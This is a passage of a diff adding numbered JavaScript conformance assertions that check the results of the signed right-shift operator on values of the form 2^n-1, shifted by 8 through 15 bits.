+if (134217727 >> 8 !== 524287) {
+ $ERROR('#284: 134217727 >> 8 === 524287. Actual: ' + (134217727 >> 8));
+}
+
+
+if (268435455 >> 8 !== 1048575) {
+ $ERROR('#285: 268435455 >> 8 === 1048575. Actual: ' + (268435455 >> 8));
+}
+
+
+if (536870911 >> 8 !== 2097151) {
+ $ERROR('#286: 536870911 >> 8 === 2097151. Actual: ' + (536870911 >> 8));
+}
+
+
+if (1073741823 >> 8 !== 4194303) {
+ $ERROR('#287: 1073741823 >> 8 === 4194303. Actual: ' + (1073741823 >> 8));
+}
+
+
+if (2147483647 >> 8 !== 8388607) {
+ $ERROR('#288: 2147483647 >> 8 === 8388607. Actual: ' + (2147483647 >> 8));
+}
+
+
+if (0 >> 9 !== 0) {
+ $ERROR('#289: 0 >> 9 === 0. Actual: ' + (0 >> 9));
+}
+
+
+if (1 >> 9 !== 0) {
+ $ERROR('#290: 1 >> 9 === 0. Actual: ' + (1 >> 9));
+}
+
+
+if (3 >> 9 !== 0) {
+ $ERROR('#291: 3 >> 9 === 0. Actual: ' + (3 >> 9));
+}
+
+
+if (7 >> 9 !== 0) {
+ $ERROR('#292: 7 >> 9 === 0. Actual: ' + (7 >> 9));
+}
+
+
+if (15 >> 9 !== 0) {
+ $ERROR('#293: 15 >> 9 === 0. Actual: ' + (15 >> 9));
+}
+
+
+if (31 >> 9 !== 0) {
+ $ERROR('#294: 31 >> 9 === 0. Actual: ' + (31 >> 9));
+}
+
+
+if (63 >> 9 !== 0) {
+ $ERROR('#295: 63 >> 9 === 0. Actual: ' + (63 >> 9));
+}
+
+
+if (127 >> 9 !== 0) {
+ $ERROR('#296: 127 >> 9 === 0. Actual: ' + (127 >> 9));
+}
+
+
+if (255 >> 9 !== 0) {
+ $ERROR('#297: 255 >> 9 === 0. Actual: ' + (255 >> 9));
+}
+
+
+if (511 >> 9 !== 0) {
+ $ERROR('#298: 511 >> 9 === 0. Actual: ' + (511 >> 9));
+}
+
+
+if (1023 >> 9 !== 1) {
+ $ERROR('#299: 1023 >> 9 === 1. Actual: ' + (1023 >> 9));
+}
+
+
+if (2047 >> 9 !== 3) {
+ $ERROR('#300: 2047 >> 9 === 3. Actual: ' + (2047 >> 9));
+}
+
+
+if (4095 >> 9 !== 7) {
+ $ERROR('#301: 4095 >> 9 === 7. Actual: ' + (4095 >> 9));
+}
+
+
+if (8191 >> 9 !== 15) {
+ $ERROR('#302: 8191 >> 9 === 15. Actual: ' + (8191 >> 9));
+}
+
+
+if (16383 >> 9 !== 31) {
+ $ERROR('#303: 16383 >> 9 === 31. Actual: ' + (16383 >> 9));
+}
+
+
+if (32767 >> 9 !== 63) {
+ $ERROR('#304: 32767 >> 9 === 63. Actual: ' + (32767 >> 9));
+}
+
+
+if (65535 >> 9 !== 127) {
+ $ERROR('#305: 65535 >> 9 === 127. Actual: ' + (65535 >> 9));
+}
+
+
+if (131071 >> 9 !== 255) {
+ $ERROR('#306: 131071 >> 9 === 255. Actual: ' + (131071 >> 9));
+}
+
+
+if (262143 >> 9 !== 511) {
+ $ERROR('#307: 262143 >> 9 === 511. Actual: ' + (262143 >> 9));
+}
+
+
+if (524287 >> 9 !== 1023) {
+ $ERROR('#308: 524287 >> 9 === 1023. Actual: ' + (524287 >> 9));
+}
+
+
+if (1048575 >> 9 !== 2047) {
+ $ERROR('#309: 1048575 >> 9 === 2047. Actual: ' + (1048575 >> 9));
+}
+
+
+if (2097151 >> 9 !== 4095) {
+ $ERROR('#310: 2097151 >> 9 === 4095. Actual: ' + (2097151 >> 9));
+}
+
+
+if (4194303 >> 9 !== 8191) {
+ $ERROR('#311: 4194303 >> 9 === 8191. Actual: ' + (4194303 >> 9));
+}
+
+
+if (8388607 >> 9 !== 16383) {
+ $ERROR('#312: 8388607 >> 9 === 16383. Actual: ' + (8388607 >> 9));
+}
+
+
+if (16777215 >> 9 !== 32767) {
+ $ERROR('#313: 16777215 >> 9 === 32767. Actual: ' + (16777215 >> 9));
+}
+
+
+if (33554431 >> 9 !== 65535) {
+ $ERROR('#314: 33554431 >> 9 === 65535. Actual: ' + (33554431 >> 9));
+}
+
+
+if (67108863 >> 9 !== 131071) {
+ $ERROR('#315: 67108863 >> 9 === 131071. Actual: ' + (67108863 >> 9));
+}
+
+
+if (134217727 >> 9 !== 262143) {
+ $ERROR('#316: 134217727 >> 9 === 262143. Actual: ' + (134217727 >> 9));
+}
+
+
+if (268435455 >> 9 !== 524287) {
+ $ERROR('#317: 268435455 >> 9 === 524287. Actual: ' + (268435455 >> 9));
+}
+
+
+if (536870911 >> 9 !== 1048575) {
+ $ERROR('#318: 536870911 >> 9 === 1048575. Actual: ' + (536870911 >> 9));
+}
+
+
+if (1073741823 >> 9 !== 2097151) {
+ $ERROR('#319: 1073741823 >> 9 === 2097151. Actual: ' + (1073741823 >> 9));
+}
+
+
+if (2147483647 >> 9 !== 4194303) {
+ $ERROR('#320: 2147483647 >> 9 === 4194303. Actual: ' + (2147483647 >> 9));
+}
+
+
+if (0 >> 10 !== 0) {
+ $ERROR('#321: 0 >> 10 === 0. Actual: ' + (0 >> 10));
+}
+
+
+if (1 >> 10 !== 0) {
+ $ERROR('#322: 1 >> 10 === 0. Actual: ' + (1 >> 10));
+}
+
+
+if (3 >> 10 !== 0) {
+ $ERROR('#323: 3 >> 10 === 0. Actual: ' + (3 >> 10));
+}
+
+
+if (7 >> 10 !== 0) {
+ $ERROR('#324: 7 >> 10 === 0. Actual: ' + (7 >> 10));
+}
+
+
+if (15 >> 10 !== 0) {
+ $ERROR('#325: 15 >> 10 === 0. Actual: ' + (15 >> 10));
+}
+
+
+if (31 >> 10 !== 0) {
+ $ERROR('#326: 31 >> 10 === 0. Actual: ' + (31 >> 10));
+}
+
+
+if (63 >> 10 !== 0) {
+ $ERROR('#327: 63 >> 10 === 0. Actual: ' + (63 >> 10));
+}
+
+
+if (127 >> 10 !== 0) {
+ $ERROR('#328: 127 >> 10 === 0. Actual: ' + (127 >> 10));
+}
+
+
+if (255 >> 10 !== 0) {
+ $ERROR('#329: 255 >> 10 === 0. Actual: ' + (255 >> 10));
+}
+
+
+if (511 >> 10 !== 0) {
+ $ERROR('#330: 511 >> 10 === 0. Actual: ' + (511 >> 10));
+}
+
+
+if (1023 >> 10 !== 0) {
+ $ERROR('#331: 1023 >> 10 === 0. Actual: ' + (1023 >> 10));
+}
+
+
+if (2047 >> 10 !== 1) {
+ $ERROR('#332: 2047 >> 10 === 1. Actual: ' + (2047 >> 10));
+}
+
+
+if (4095 >> 10 !== 3) {
+ $ERROR('#333: 4095 >> 10 === 3. Actual: ' + (4095 >> 10));
+}
+
+
+if (8191 >> 10 !== 7) {
+ $ERROR('#334: 8191 >> 10 === 7. Actual: ' + (8191 >> 10));
+}
+
+
+if (16383 >> 10 !== 15) {
+ $ERROR('#335: 16383 >> 10 === 15. Actual: ' + (16383 >> 10));
+}
+
+
+if (32767 >> 10 !== 31) {
+ $ERROR('#336: 32767 >> 10 === 31. Actual: ' + (32767 >> 10));
+}
+
+
+if (65535 >> 10 !== 63) {
+ $ERROR('#337: 65535 >> 10 === 63. Actual: ' + (65535 >> 10));
+}
+
+
+if (131071 >> 10 !== 127) {
+ $ERROR('#338: 131071 >> 10 === 127. Actual: ' + (131071 >> 10));
+}
+
+
+if (262143 >> 10 !== 255) {
+ $ERROR('#339: 262143 >> 10 === 255. Actual: ' + (262143 >> 10));
+}
+
+
+if (524287 >> 10 !== 511) {
+ $ERROR('#340: 524287 >> 10 === 511. Actual: ' + (524287 >> 10));
+}
+
+
+if (1048575 >> 10 !== 1023) {
+ $ERROR('#341: 1048575 >> 10 === 1023. Actual: ' + (1048575 >> 10));
+}
+
+
+if (2097151 >> 10 !== 2047) {
+ $ERROR('#342: 2097151 >> 10 === 2047. Actual: ' + (2097151 >> 10));
+}
+
+
+if (4194303 >> 10 !== 4095) {
+ $ERROR('#343: 4194303 >> 10 === 4095. Actual: ' + (4194303 >> 10));
+}
+
+
+if (8388607 >> 10 !== 8191) {
+ $ERROR('#344: 8388607 >> 10 === 8191. Actual: ' + (8388607 >> 10));
+}
+
+
+if (16777215 >> 10 !== 16383) {
+ $ERROR('#345: 16777215 >> 10 === 16383. Actual: ' + (16777215 >> 10));
+}
+
+
+if (33554431 >> 10 !== 32767) {
+ $ERROR('#346: 33554431 >> 10 === 32767. Actual: ' + (33554431 >> 10));
+}
+
+
+if (67108863 >> 10 !== 65535) {
+ $ERROR('#347: 67108863 >> 10 === 65535. Actual: ' + (67108863 >> 10));
+}
+
+
+if (134217727 >> 10 !== 131071) {
+ $ERROR('#348: 134217727 >> 10 === 131071. Actual: ' + (134217727 >> 10));
+}
+
+
+if (268435455 >> 10 !== 262143) {
+ $ERROR('#349: 268435455 >> 10 === 262143. Actual: ' + (268435455 >> 10));
+}
+
+
+if (536870911 >> 10 !== 524287) {
+ $ERROR('#350: 536870911 >> 10 === 524287. Actual: ' + (536870911 >> 10));
+}
+
+
+if (1073741823 >> 10 !== 1048575) {
+ $ERROR('#351: 1073741823 >> 10 === 1048575. Actual: ' + (1073741823 >> 10));
+}
+
+
+if (2147483647 >> 10 !== 2097151) {
+ $ERROR('#352: 2147483647 >> 10 === 2097151. Actual: ' + (2147483647 >> 10));
+}
+
+
+if (0 >> 11 !== 0) {
+ $ERROR('#353: 0 >> 11 === 0. Actual: ' + (0 >> 11));
+}
+
+
+if (1 >> 11 !== 0) {
+ $ERROR('#354: 1 >> 11 === 0. Actual: ' + (1 >> 11));
+}
+
+
+if (3 >> 11 !== 0) {
+ $ERROR('#355: 3 >> 11 === 0. Actual: ' + (3 >> 11));
+}
+
+
+if (7 >> 11 !== 0) {
+ $ERROR('#356: 7 >> 11 === 0. Actual: ' + (7 >> 11));
+}
+
+
+if (15 >> 11 !== 0) {
+ $ERROR('#357: 15 >> 11 === 0. Actual: ' + (15 >> 11));
+}
+
+
+if (31 >> 11 !== 0) {
+ $ERROR('#358: 31 >> 11 === 0. Actual: ' + (31 >> 11));
+}
+
+
+if (63 >> 11 !== 0) {
+ $ERROR('#359: 63 >> 11 === 0. Actual: ' + (63 >> 11));
+}
+
+
+if (127 >> 11 !== 0) {
+ $ERROR('#360: 127 >> 11 === 0. Actual: ' + (127 >> 11));
+}
+
+
+if (255 >> 11 !== 0) {
+ $ERROR('#361: 255 >> 11 === 0. Actual: ' + (255 >> 11));
+}
+
+
+if (511 >> 11 !== 0) {
+ $ERROR('#362: 511 >> 11 === 0. Actual: ' + (511 >> 11));
+}
+
+
+if (1023 >> 11 !== 0) {
+ $ERROR('#363: 1023 >> 11 === 0. Actual: ' + (1023 >> 11));
+}
+
+
+if (2047 >> 11 !== 0) {
+ $ERROR('#364: 2047 >> 11 === 0. Actual: ' + (2047 >> 11));
+}
+
+
+if (4095 >> 11 !== 1) {
+ $ERROR('#365: 4095 >> 11 === 1. Actual: ' + (4095 >> 11));
+}
+
+
+if (8191 >> 11 !== 3) {
+ $ERROR('#366: 8191 >> 11 === 3. Actual: ' + (8191 >> 11));
+}
+
+
+if (16383 >> 11 !== 7) {
+ $ERROR('#367: 16383 >> 11 === 7. Actual: ' + (16383 >> 11));
+}
+
+
+if (32767 >> 11 !== 15) {
+ $ERROR('#368: 32767 >> 11 === 15. Actual: ' + (32767 >> 11));
+}
+
+
+if (65535 >> 11 !== 31) {
+ $ERROR('#369: 65535 >> 11 === 31. Actual: ' + (65535 >> 11));
+}
+
+
+if (131071 >> 11 !== 63) {
+ $ERROR('#370: 131071 >> 11 === 63. Actual: ' + (131071 >> 11));
+}
+
+
+if (262143 >> 11 !== 127) {
+ $ERROR('#371: 262143 >> 11 === 127. Actual: ' + (262143 >> 11));
+}
+
+
+if (524287 >> 11 !== 255) {
+ $ERROR('#372: 524287 >> 11 === 255. Actual: ' + (524287 >> 11));
+}
+
+
+if (1048575 >> 11 !== 511) {
+ $ERROR('#373: 1048575 >> 11 === 511. Actual: ' + (1048575 >> 11));
+}
+
+
+if (2097151 >> 11 !== 1023) {
+ $ERROR('#374: 2097151 >> 11 === 1023. Actual: ' + (2097151 >> 11));
+}
+
+
+if (4194303 >> 11 !== 2047) {
+ $ERROR('#375: 4194303 >> 11 === 2047. Actual: ' + (4194303 >> 11));
+}
+
+
+if (8388607 >> 11 !== 4095) {
+ $ERROR('#376: 8388607 >> 11 === 4095. Actual: ' + (8388607 >> 11));
+}
+
+
+if (16777215 >> 11 !== 8191) {
+ $ERROR('#377: 16777215 >> 11 === 8191. Actual: ' + (16777215 >> 11));
+}
+
+
+if (33554431 >> 11 !== 16383) {
+ $ERROR('#378: 33554431 >> 11 === 16383. Actual: ' + (33554431 >> 11));
+}
+
+
+if (67108863 >> 11 !== 32767) {
+ $ERROR('#379: 67108863 >> 11 === 32767. Actual: ' + (67108863 >> 11));
+}
+
+
+if (134217727 >> 11 !== 65535) {
+ $ERROR('#380: 134217727 >> 11 === 65535. Actual: ' + (134217727 >> 11));
+}
+
+
+if (268435455 >> 11 !== 131071) {
+ $ERROR('#381: 268435455 >> 11 === 131071. Actual: ' + (268435455 >> 11));
+}
+
+
+if (536870911 >> 11 !== 262143) {
+ $ERROR('#382: 536870911 >> 11 === 262143. Actual: ' + (536870911 >> 11));
+}
+
+
+if (1073741823 >> 11 !== 524287) {
+ $ERROR('#383: 1073741823 >> 11 === 524287. Actual: ' + (1073741823 >> 11));
+}
+
+
+if (2147483647 >> 11 !== 1048575) {
+ $ERROR('#384: 2147483647 >> 11 === 1048575. Actual: ' + (2147483647 >> 11));
+}
+
+
+if (0 >> 12 !== 0) {
+ $ERROR('#385: 0 >> 12 === 0. Actual: ' + (0 >> 12));
+}
+
+
+if (1 >> 12 !== 0) {
+ $ERROR('#386: 1 >> 12 === 0. Actual: ' + (1 >> 12));
+}
+
+
+if (3 >> 12 !== 0) {
+ $ERROR('#387: 3 >> 12 === 0. Actual: ' + (3 >> 12));
+}
+
+
+if (7 >> 12 !== 0) {
+ $ERROR('#388: 7 >> 12 === 0. Actual: ' + (7 >> 12));
+}
+
+
+if (15 >> 12 !== 0) {
+ $ERROR('#389: 15 >> 12 === 0. Actual: ' + (15 >> 12));
+}
+
+
+if (31 >> 12 !== 0) {
+ $ERROR('#390: 31 >> 12 === 0. Actual: ' + (31 >> 12));
+}
+
+
+if (63 >> 12 !== 0) {
+ $ERROR('#391: 63 >> 12 === 0. Actual: ' + (63 >> 12));
+}
+
+
+if (127 >> 12 !== 0) {
+ $ERROR('#392: 127 >> 12 === 0. Actual: ' + (127 >> 12));
+}
+
+
+if (255 >> 12 !== 0) {
+ $ERROR('#393: 255 >> 12 === 0. Actual: ' + (255 >> 12));
+}
+
+
+if (511 >> 12 !== 0) {
+ $ERROR('#394: 511 >> 12 === 0. Actual: ' + (511 >> 12));
+}
+
+
+if (1023 >> 12 !== 0) {
+ $ERROR('#395: 1023 >> 12 === 0. Actual: ' + (1023 >> 12));
+}
+
+
+if (2047 >> 12 !== 0) {
+ $ERROR('#396: 2047 >> 12 === 0. Actual: ' + (2047 >> 12));
+}
+
+
+if (4095 >> 12 !== 0) {
+ $ERROR('#397: 4095 >> 12 === 0. Actual: ' + (4095 >> 12));
+}
+
+
+if (8191 >> 12 !== 1) {
+ $ERROR('#398: 8191 >> 12 === 1. Actual: ' + (8191 >> 12));
+}
+
+
+if (16383 >> 12 !== 3) {
+ $ERROR('#399: 16383 >> 12 === 3. Actual: ' + (16383 >> 12));
+}
+
+
+if (32767 >> 12 !== 7) {
+ $ERROR('#400: 32767 >> 12 === 7. Actual: ' + (32767 >> 12));
+}
+
+
+if (65535 >> 12 !== 15) {
+ $ERROR('#401: 65535 >> 12 === 15. Actual: ' + (65535 >> 12));
+}
+
+
+if (131071 >> 12 !== 31) {
+ $ERROR('#402: 131071 >> 12 === 31. Actual: ' + (131071 >> 12));
+}
+
+
+if (262143 >> 12 !== 63) {
+ $ERROR('#403: 262143 >> 12 === 63. Actual: ' + (262143 >> 12));
+}
+
+
+if (524287 >> 12 !== 127) {
+ $ERROR('#404: 524287 >> 12 === 127. Actual: ' + (524287 >> 12));
+}
+
+
+if (1048575 >> 12 !== 255) {
+ $ERROR('#405: 1048575 >> 12 === 255. Actual: ' + (1048575 >> 12));
+}
+
+
+if (2097151 >> 12 !== 511) {
+ $ERROR('#406: 2097151 >> 12 === 511. Actual: ' + (2097151 >> 12));
+}
+
+
+if (4194303 >> 12 !== 1023) {
+ $ERROR('#407: 4194303 >> 12 === 1023. Actual: ' + (4194303 >> 12));
+}
+
+
+if (8388607 >> 12 !== 2047) {
+ $ERROR('#408: 8388607 >> 12 === 2047. Actual: ' + (8388607 >> 12));
+}
+
+
+if (16777215 >> 12 !== 4095) {
+ $ERROR('#409: 16777215 >> 12 === 4095. Actual: ' + (16777215 >> 12));
+}
+
+
+if (33554431 >> 12 !== 8191) {
+ $ERROR('#410: 33554431 >> 12 === 8191. Actual: ' + (33554431 >> 12));
+}
+
+
+if (67108863 >> 12 !== 16383) {
+ $ERROR('#411: 67108863 >> 12 === 16383. Actual: ' + (67108863 >> 12));
+}
+
+
+if (134217727 >> 12 !== 32767) {
+ $ERROR('#412: 134217727 >> 12 === 32767. Actual: ' + (134217727 >> 12));
+}
+
+
+if (268435455 >> 12 !== 65535) {
+ $ERROR('#413: 268435455 >> 12 === 65535. Actual: ' + (268435455 >> 12));
+}
+
+
+if (536870911 >> 12 !== 131071) {
+ $ERROR('#414: 536870911 >> 12 === 131071. Actual: ' + (536870911 >> 12));
+}
+
+
+if (1073741823 >> 12 !== 262143) {
+ $ERROR('#415: 1073741823 >> 12 === 262143. Actual: ' + (1073741823 >> 12));
+}
+
+
+if (2147483647 >> 12 !== 524287) {
+ $ERROR('#416: 2147483647 >> 12 === 524287. Actual: ' + (2147483647 >> 12));
+}
+
+
+if (0 >> 13 !== 0) {
+ $ERROR('#417: 0 >> 13 === 0. Actual: ' + (0 >> 13));
+}
+
+
+if (1 >> 13 !== 0) {
+ $ERROR('#418: 1 >> 13 === 0. Actual: ' + (1 >> 13));
+}
+
+
+if (3 >> 13 !== 0) {
+ $ERROR('#419: 3 >> 13 === 0. Actual: ' + (3 >> 13));
+}
+
+
+if (7 >> 13 !== 0) {
+ $ERROR('#420: 7 >> 13 === 0. Actual: ' + (7 >> 13));
+}
+
+
+if (15 >> 13 !== 0) {
+ $ERROR('#421: 15 >> 13 === 0. Actual: ' + (15 >> 13));
+}
+
+
+if (31 >> 13 !== 0) {
+ $ERROR('#422: 31 >> 13 === 0. Actual: ' + (31 >> 13));
+}
+
+
+if (63 >> 13 !== 0) {
+ $ERROR('#423: 63 >> 13 === 0. Actual: ' + (63 >> 13));
+}
+
+
+if (127 >> 13 !== 0) {
+ $ERROR('#424: 127 >> 13 === 0. Actual: ' + (127 >> 13));
+}
+
+
+if (255 >> 13 !== 0) {
+ $ERROR('#425: 255 >> 13 === 0. Actual: ' + (255 >> 13));
+}
+
+
+if (511 >> 13 !== 0) {
+ $ERROR('#426: 511 >> 13 === 0. Actual: ' + (511 >> 13));
+}
+
+
+if (1023 >> 13 !== 0) {
+ $ERROR('#427: 1023 >> 13 === 0. Actual: ' + (1023 >> 13));
+}
+
+
+if (2047 >> 13 !== 0) {
+ $ERROR('#428: 2047 >> 13 === 0. Actual: ' + (2047 >> 13));
+}
+
+
+if (4095 >> 13 !== 0) {
+ $ERROR('#429: 4095 >> 13 === 0. Actual: ' + (4095 >> 13));
+}
+
+
+if (8191 >> 13 !== 0) {
+ $ERROR('#430: 8191 >> 13 === 0. Actual: ' + (8191 >> 13));
+}
+
+
+if (16383 >> 13 !== 1) {
+ $ERROR('#431: 16383 >> 13 === 1. Actual: ' + (16383 >> 13));
+}
+
+
+if (32767 >> 13 !== 3) {
+ $ERROR('#432: 32767 >> 13 === 3. Actual: ' + (32767 >> 13));
+}
+
+
+if (65535 >> 13 !== 7) {
+ $ERROR('#433: 65535 >> 13 === 7. Actual: ' + (65535 >> 13));
+}
+
+
+if (131071 >> 13 !== 15) {
+ $ERROR('#434: 131071 >> 13 === 15. Actual: ' + (131071 >> 13));
+}
+
+
+if (262143 >> 13 !== 31) {
+ $ERROR('#435: 262143 >> 13 === 31. Actual: ' + (262143 >> 13));
+}
+
+
+if (524287 >> 13 !== 63) {
+ $ERROR('#436: 524287 >> 13 === 63. Actual: ' + (524287 >> 13));
+}
+
+
+if (1048575 >> 13 !== 127) {
+ $ERROR('#437: 1048575 >> 13 === 127. Actual: ' + (1048575 >> 13));
+}
+
+
+if (2097151 >> 13 !== 255) {
+ $ERROR('#438: 2097151 >> 13 === 255. Actual: ' + (2097151 >> 13));
+}
+
+
+if (4194303 >> 13 !== 511) {
+ $ERROR('#439: 4194303 >> 13 === 511. Actual: ' + (4194303 >> 13));
+}
+
+
+if (8388607 >> 13 !== 1023) {
+ $ERROR('#440: 8388607 >> 13 === 1023. Actual: ' + (8388607 >> 13));
+}
+
+
+if (16777215 >> 13 !== 2047) {
+ $ERROR('#441: 16777215 >> 13 === 2047. Actual: ' + (16777215 >> 13));
+}
+
+
+if (33554431 >> 13 !== 4095) {
+ $ERROR('#442: 33554431 >> 13 === 4095. Actual: ' + (33554431 >> 13));
+}
+
+
+if (67108863 >> 13 !== 8191) {
+ $ERROR('#443: 67108863 >> 13 === 8191. Actual: ' + (67108863 >> 13));
+}
+
+
+if (134217727 >> 13 !== 16383) {
+ $ERROR('#444: 134217727 >> 13 === 16383. Actual: ' + (134217727 >> 13));
+}
+
+
+if (268435455 >> 13 !== 32767) {
+ $ERROR('#445: 268435455 >> 13 === 32767. Actual: ' + (268435455 >> 13));
+}
+
+
+if (536870911 >> 13 !== 65535) {
+ $ERROR('#446: 536870911 >> 13 === 65535. Actual: ' + (536870911 >> 13));
+}
+
+
+if (1073741823 >> 13 !== 131071) {
+ $ERROR('#447: 1073741823 >> 13 === 131071. Actual: ' + (1073741823 >> 13));
+}
+
+
+if (2147483647 >> 13 !== 262143) {
+ $ERROR('#448: 2147483647 >> 13 === 262143. Actual: ' + (2147483647 >> 13));
+}
+
+
+if (0 >> 14 !== 0) {
+ $ERROR('#449: 0 >> 14 === 0. Actual: ' + (0 >> 14));
+}
+
+
+if (1 >> 14 !== 0) {
+ $ERROR('#450: 1 >> 14 === 0. Actual: ' + (1 >> 14));
+}
+
+
+if (3 >> 14 !== 0) {
+ $ERROR('#451: 3 >> 14 === 0. Actual: ' + (3 >> 14));
+}
+
+
+if (7 >> 14 !== 0) {
+ $ERROR('#452: 7 >> 14 === 0. Actual: ' + (7 >> 14));
+}
+
+
+if (15 >> 14 !== 0) {
+ $ERROR('#453: 15 >> 14 === 0. Actual: ' + (15 >> 14));
+}
+
+
+if (31 >> 14 !== 0) {
+ $ERROR('#454: 31 >> 14 === 0. Actual: ' + (31 >> 14));
+}
+
+
+if (63 >> 14 !== 0) {
+ $ERROR('#455: 63 >> 14 === 0. Actual: ' + (63 >> 14));
+}
+
+
+if (127 >> 14 !== 0) {
+ $ERROR('#456: 127 >> 14 === 0. Actual: ' + (127 >> 14));
+}
+
+
+if (255 >> 14 !== 0) {
+ $ERROR('#457: 255 >> 14 === 0. Actual: ' + (255 >> 14));
+}
+
+
+if (511 >> 14 !== 0) {
+ $ERROR('#458: 511 >> 14 === 0. Actual: ' + (511 >> 14));
+}
+
+
+if (1023 >> 14 !== 0) {
+ $ERROR('#459: 1023 >> 14 === 0. Actual: ' + (1023 >> 14));
+}
+
+
+if (2047 >> 14 !== 0) {
+ $ERROR('#460: 2047 >> 14 === 0. Actual: ' + (2047 >> 14));
+}
+
+
+if (4095 >> 14 !== 0) {
+ $ERROR('#461: 4095 >> 14 === 0. Actual: ' + (4095 >> 14));
+}
+
+
+if (8191 >> 14 !== 0) {
+ $ERROR('#462: 8191 >> 14 === 0. Actual: ' + (8191 >> 14));
+}
+
+
+if (16383 >> 14 !== 0) {
+ $ERROR('#463: 16383 >> 14 === 0. Actual: ' + (16383 >> 14));
+}
+
+
+if (32767 >> 14 !== 1) {
+ $ERROR('#464: 32767 >> 14 === 1. Actual: ' + (32767 >> 14));
+}
+
+
+if (65535 >> 14 !== 3) {
+ $ERROR('#465: 65535 >> 14 === 3. Actual: ' + (65535 >> 14));
+}
+
+
+if (131071 >> 14 !== 7) {
+ $ERROR('#466: 131071 >> 14 === 7. Actual: ' + (131071 >> 14));
+}
+
+
+if (262143 >> 14 !== 15) {
+ $ERROR('#467: 262143 >> 14 === 15. Actual: ' + (262143 >> 14));
+}
+
+
+if (524287 >> 14 !== 31) {
+ $ERROR('#468: 524287 >> 14 === 31. Actual: ' + (524287 >> 14));
+}
+
+
+if (1048575 >> 14 !== 63) {
+ $ERROR('#469: 1048575 >> 14 === 63. Actual: ' + (1048575 >> 14));
+}
+
+
+if (2097151 >> 14 !== 127) {
+ $ERROR('#470: 2097151 >> 14 === 127. Actual: ' + (2097151 >> 14));
+}
+
+
+if (4194303 >> 14 !== 255) {
+ $ERROR('#471: 4194303 >> 14 === 255. Actual: ' + (4194303 >> 14));
+}
+
+
+if (8388607 >> 14 !== 511) {
+ $ERROR('#472: 8388607 >> 14 === 511. Actual: ' + (8388607 >> 14));
+}
+
+
+if (16777215 >> 14 !== 1023) {
+ $ERROR('#473: 16777215 >> 14 === 1023. Actual: ' + (16777215 >> 14));
+}
+
+
+if (33554431 >> 14 !== 2047) {
+ $ERROR('#474: 33554431 >> 14 === 2047. Actual: ' + (33554431 >> 14));
+}
+
+
+if (67108863 >> 14 !== 4095) {
+ $ERROR('#475: 67108863 >> 14 === 4095. Actual: ' + (67108863 >> 14));
+}
+
+
+if (134217727 >> 14 !== 8191) {
+ $ERROR('#476: 134217727 >> 14 === 8191. Actual: ' + (134217727 >> 14));
+}
+
+
+if (268435455 >> 14 !== 16383) {
+ $ERROR('#477: 268435455 >> 14 === 16383. Actual: ' + (268435455 >> 14));
+}
+
+
+if (536870911 >> 14 !== 32767) {
+ $ERROR('#478: 536870911 >> 14 === 32767. Actual: ' + (536870911 >> 14));
+}
+
+
+if (1073741823 >> 14 !== 65535) {
+ $ERROR('#479: 1073741823 >> 14 === 65535. Actual: ' + (1073741823 >> 14));
+}
+
+
+if (2147483647 >> 14 !== 131071) {
+ $ERROR('#480: 2147483647 >> 14 === 131071. Actual: ' + (2147483647 >> 14));
+}
+
+
+if (0 >> 15 !== 0) {
+ $ERROR('#481: 0 >> 15 === 0. Actual: ' + (0 >> 15));
+}
+
+
+if (1 >> 15 !== 0) {
+ $ERROR('#482: 1 >> 15 === 0. Actual: ' + (1 >> 15));
+}
+
+
+if (3 >> 15 !== 0) {
+ $ERROR('#483: 3 >> 15 === 0. Actual: ' + (3 >> 15));
+}
+
+
+if (7 >> 15 !== 0) {
+ $ERROR('#484: 7 >> 15 === 0. Actual: ' + (7 >> 15));
+}
+
+
+if (15 >> 15 !== 0) {
+ $ERROR('#485: 15 >> 15 === 0. Actual: ' + (15 >> 15));
+}
+
+
+if (31 >> 15 !== 0) {
+ $ERROR('#486: 31 >> 15 === 0. Actual: ' + (31 >> 15));
+}
+
+
+if (63 >> 15 !== 0) {
+ $ERROR('#487: 63 >> 15 === 0. Actual: ' + (63 >> 15));
+}
+
+
+if (127 >> 15 !== 0) {
+ $ERROR('#488: 127 >> 15 === 0. Actual: ' + (127 >> 15));
+}
+
+
+if (255 >> 15 !== 0) {
+ $ERROR('#489: 255 >> 15 === 0. Actual: ' + (255 >> 15));
+}
+
+
+if (511 >> 15 !== 0) {
+ $ERROR('#490: 511 >> 15 === 0. Actual: ' + (511 >> 15));
+}
+
+
+if (1023 >> 15 !== 0) {
+ $ERROR('#491: 1023 >> 15 === 0. Actual: ' + (1023 >> 15));
+}
+
+
+if (2047 >> 15 !== 0) {
+ $ERROR('#492: 2047 >> 15 === 0. Actual: ' + (2047 >> 15));
+}
+
+
+if (4095 >> 15 !== 0) {
+ $ERROR('#493: 4095 >> 15 === 0. Actual: ' + (4095 >> 15));
+}
+
+
+if (8191 >> 15 !== 0) {
+ $ERROR('#494: 8191 >> 15 === 0. Actual: ' + (8191 >> 15));
+}
+
+
+if (16383 >> 15 !== 0) {
+ $ERROR('#495: 16383 >> 15 === 0. Actual: ' + (16383 >> 15));
+}
+
+
+if (32767 >> 15 !== 0) {
+ $ERROR('#496: 32767 >> 15 === 0. Actual: ' + (32767 >> 15));
+}
+
+
+if (65535 >> 15 !== 1) {
+ $ERROR('#497: 65535 >> 15 === 1. Actual: ' + (65535 >> 15));
+}
+
+
+if (131071 >> 15 !== 3) {
+ $ERROR('#498: 131071 >> 15 === 3. Actual: ' + (131071 >> 15));
+}
+
+
+if (262143 >> 15 !== 7) {
+ $ERROR('#499: 262143 >> 15 === 7. Actual: ' + (262143 >> 15));
+}
+
+
+if (524287 >> 15 !== 15) {
+ $ERROR('#500: 524287 >> 15 === 15. Actual: ' + (524287 >> 15));
+}
+
+
+if (1048575 >> 15 !== 31) {
+ $ERROR('#501: 1048575 >> 15 === 31. Actual: ' + (1048575 >> 15));
+}
+
+
+if (2097151 >> 15 !== 63) {
+ $ERROR('#502: 2097151 >> 15 === 63. Actual: ' + (2097151 >> 15));
+}
+
+
+if (4194303 >> 15 !== 127) {
+ $ERROR('#503: 4194303 >> 15 === 127. Actual: ' + (4194303 >> 15));
+}
+
+
+if (8388607 >> 15 !== 255) {
+ $ERROR('#504: 8388607 >> 15 === 255. Actual: ' + (8388607 >> 15));
+}
+
+
+if (16777215 >> 15 !== 511) {
+ $ERROR('#505: 16777215 >> 15 === 511. Actual: ' + (16777215 >> 15));
+}
+
+
+if (33554431 >> 15 !== 1023) {
+ $ERROR('#506: 33554431 >> 15 === 1023. Actual: ' + (33554431 >> 15));
+}
+
+
+if (67108863 >> 15 !== 2047) {
